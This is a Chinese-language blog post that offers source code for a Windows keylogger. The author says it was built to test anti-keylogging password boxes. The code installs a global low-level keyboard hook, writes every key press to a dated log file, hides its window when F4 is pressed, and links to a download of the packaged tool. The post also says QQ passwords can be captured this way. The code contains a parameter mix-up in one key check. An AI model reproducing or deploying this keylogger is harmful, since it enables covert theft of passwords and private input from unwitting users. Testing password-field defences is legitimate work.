最近在研究反监听密码框的开发。 做这个东西是为了测试密码框的效果。 用的是WH_KEYBOARD_LL钩子。 我暂时还没找到防止底层键盘全局钩子的方法。QQ的密码可以用这种方法监听到,但是不是明文。
开发工具是VS2008
钩子回调函数中的代码:
LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
WPARAM wParam,
LPARAM lParam
)
{
PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
if (nCode<0)
{
return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
}
if (HC_ACTION==nCode)
{
if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
{
if (VK_F4==kbhs->vkCode)
{
//先判断窗口是show or hide
m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
if (IsWindowVisible(m_hWnd2))
{
ShowWindow(m_hWnd2,SW_HIDE);
return 0;
}
else
{
if (NULL==m_hWnd2)
{
AfxMessageBox(L"查找失败!");
return 0;
}
ShowWindow(m_hWnd2,SW_RESTORE);
//UpdateWindow(m_hWnd);
BringWindowToTop(m_hWnd);
SetForegroundWindow(m_hWnd);
return 1;
}
}
char c[1];
c[0]=kbhs->vkCode;
SaveLog(c);
}
}
return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
}
字符保存的代码:
void SaveLog(char* c)
{
//AfxMessageBox(L"进入存储程序");
CTime tm=CTime::GetCurrentTime();
CString name;
TCHAR* szPath[MAX_PATH];
::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
CString path=(LPTSTR)szPath;
path.Replace(L"//LogerDll.dll",L"");
name.Format(L"//Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
path+=name;
CFile file;
if(!file.Open(path,CFile::modeReadWrite))
{
file.Open(path,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
下载地址:http://www.cppblog.com/Files/pencil/KeyboardLoger.rar